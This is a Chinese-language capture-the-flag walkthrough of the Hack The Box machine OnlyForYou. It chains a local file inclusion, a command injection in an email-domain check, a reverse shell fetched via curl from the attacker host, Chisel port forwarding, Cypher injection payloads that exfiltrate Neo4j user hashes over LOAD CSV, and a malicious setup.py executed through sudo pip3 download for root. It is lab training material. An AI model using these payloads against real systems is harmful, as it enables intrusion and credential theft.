HTB-OnlyForYou
一、思路概要
1.信息收集找到域名和子域;
2.子域源码审计路由发现LFI;
3.LFI读取Nginx配置文件及主站源码;
4.主站源码审计发现RCE;
5.RCE反弹shell获取www-data权限;
6.查看端口服务发现Neo4j服务;
7.Neo4j注入获得ssh账户密码;
8.pip download代码执行实现suid提权。
二、信息收集
nmap扫描端口服务
发现域名,写入本地hosts文件
echo "10.10.11.210 only4you.htb" >> /etc/hosts
浏览器打开,首页如下

扫描子域
gobuster vhost -u http://only4you.htb --append-domain -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50
发现一个子域,添加进本地hosts文件
echo "10.10.11.210 beta.only4you.htb" >> /etc/hosts
访问子域
三、LFI(本地文件包含)
点击Source Code
,会下载源码。审计发现app.py
的/download
路由,if条件用绝对路径即可绕过,POST提交的image
参数最终传递给send_file()
函数,实现LFI,只需知道文件绝对路径,即可读取任意文件
nmap扫描结果可看出是Nginx服务,尝试读取Nginx相关配置文件
Nginx主配置文件默认路径:
/etc/nginx/nginx.conf
虚拟主机默认配置文件:
/etc/nginx/sites-available/default
/etc/nginx/sites-enabled/default
Burp抓包,POST访问/download
目录,提交image参数,然后在虚拟主机配置文件发现web目录是/var/www/only4you.htb/
(主站)和/var/www/beta.only4you.htb/
(子域)
子域下源码有app.py
,以经验来看,通常主站下应该也有app.py
,尝试读取确实存在
/var/www/only4you.htb/app.py
完整代码如下
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid
app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
email = request.form['email']
subject = request.form['subject']
message = request.form['message']
ip = request.remote_addr
status = sendmessage(email, subject, message, ip)
if status == 0:
flash('Something went wrong!', 'danger')
elif status == 1:
flash('You are not authorized!', 'danger')
else:
flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
return redirect('/#contact')
else:
return render_template('index.html')
@app.errorhandler(404)
def page_not_found(error):
return render_template('404.html'), 404
@app.errorhandler(500)
def server_errorerror(error):
return render_template('500.html'), 500
@app.errorhandler(400)
def bad_request(error):
return render_template('400.html'), 400
@app.errorhandler(405)
def method_not_allowed(error):
return render_template('405.html'), 405
if __name__ == '__main__':
app.run(host='127.0.0.1', port=80, debug=False)
上面代码第二行从form模块导入了sendmessage方法,form不是python官方模块,所以猜测在同目录下有form.py
,读取如下文件确实存在
/var/www/only4you.htb/form.py
完整代码如下
import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "v=spf1" not in output:
return 1
else:
domains = []
ips = []
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
dms.pop(0)
for domain in dms:
domains.append(domain)
while True:
for domain in domains:
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
domains.clear()
for domain in dms:
domains.append(domain)
elif "ip4:" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
pass
break
elif "ip4" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
return 1
for i in ips:
if ip == i:
return 2
elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
return 2
else:
return 1
def sendmessage(email, subject, message, ip):
status = issecure(email, ip)
if status == 2:
msg = EmailMessage()
msg['From'] = f'{email}'
msg['To'] = 'info@only4you.htb'
msg['Subject'] = f'{subject}'
msg['Message'] = f'{message}'
smtp = smtplib.SMTP(host='localhost', port=25)
smtp.send_message(msg)
smtp.quit()
return status
elif status == 1:
return status
else:
return status
四、RCE反弹shell
存在漏洞的代码如下
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
原因:
1.因为re.match()
是从头开始匹配;
2.且此if条件的正则没有指定匹配结尾的元字符”$”;
3.从而导致只要字符串前半部分有符合邮箱规则的子串,就匹配成功,执行else;
4.那么email是wa0er@htb.com;curl 127.0.0.1
,就会导致domain拼接到dig命令时变成如下,从而执行命令
dig txt htb.com;curl 127.0.0.1
修补思路:
1.更换re.match()为re.fullmatch()
re.fullmatch("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(.[A-Z|a-z]{2,})", email)
2.正则添加匹配结尾的元字符"$"
re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})$", email)
看刚才的app.py
,form模块的sendmessage方法在16行被调用,也就是在根目录路由被调用,对比代码中接收的POST参数(email, subject, message),在首页顶部菜单栏对应Contact功能点
随便填,抓包
由于会连续执行两个命令(dig和自己的),第二个命令执行结果看不到,所以通过访问本地http服务来测试。需要先本地开启http服务,然后请求包修改如下发送
查看http服务,成功接收到访问请求
于是反弹shell
本地两个终端窗口,一个开启http服务,一个开启监听
python3 -m http.server 80
nc -lvnp 9898
本地新建一个shell.sh
文件,内容如下
bash -i >& /dev/tcp/10.10.14.7/9898 0>&1
然后请求包payload修改如下,发送请求
curl 10.10.14.7/shell.sh|bash
反弹shell成功,获取www-data权限
五、端口转发
然后查看端口服务
80(http)、53(dns)、22(ssh)、3306(mysql)、33060(mysql)都是常规端口
7474、7687分别是neo4j数据库服务的http端口和bolt连接器端口
3000、8001非常规端口,应该有web服务,尝试端口转发把流量代理出来
目标靶机执行如下命令从本地下载chisel(笔者此处下载到/tmp
目录)
wget http://10.10.14.7/chisel
chmod +x chisel
本地kali执行如下命令,开启服务端监听
./chisel server -p 9899 -reverse
目标靶机执行如下命令,实现端口转发
./chisel client 10.10.14.7:9899 R:3000:127.0.0.1:3000 R:8001:127.0.0.1:8001
本地kali显示如下,连接建立成功
3000端口,看样子是个git仓库托管服务

8001端口

弱口令admin: admin
登录成功,下拉发现数据库正是neo4j
六、Neo4j注入
参考:https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j
neo4j原理参考:https://www.w3cschool.cn/neo4j/neo4j_building_blocks.html
页面左侧菜单栏EMPLOYEES
选项中有个输入框,输入如下payload,获取服务版本
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.7/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
本地http服务可看到回显得到neo4j的服务版本信息
在输入框输入,通过burp传参的话需要经过URL编码且空格需用加号替换
获取label,得到user和employee两个label
' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.7/?label='+label as l RETURN 0 as _0 //
获取user的properties of a key,得到admin和john两个用户的username和password(有些英文名词怕翻译词不达意,就没用中文)
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.7/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
用https://crackstation.net/破解hash值,如下
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 admin
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 ThisIs4You
ssh连接john账户
执行sudo -l
查看能以root身份执行的命令,可从3000端口服务下载后缀为.tar.gz
的压缩包
七、pip download代码执行
google搜索关键字:pip download exploit
https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/
https://github.com/wunderwuzzi23/this_is_fine_wuzzi
下载exploit
git clone https://github.com/wunderwuzzi23/this_is_fine_wuzzi
修改setup.py
两个位置,如下图
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os
def RunCommand():
os.system("chmod u+s /bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "this_is_fine_wuzzi",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)
用如下命令在this_is_fine_wuzzi
目录下构建python发布包,笔者此处在virtualenv(python3.8.10虚拟环境)下build,因为正常build会报错
python3 -m build
build完成后会在当前目录生成dist目录,里面有个.tar.gz
文件
用john
的账户密码ThisIs4You
登录3000端口web端
右上角加号新建仓库,配置如下

新建仓库成功后进入如下界面,点击Upload File
上传文件
上传刚刚生成的.tar.gz
文件

上传成功如下

然后在目标靶机执行如下命令,可看到/bin/bash
已经有了suid权限
sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/wa0er/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
执行bash -p
提权,成功获取root权限
Over!
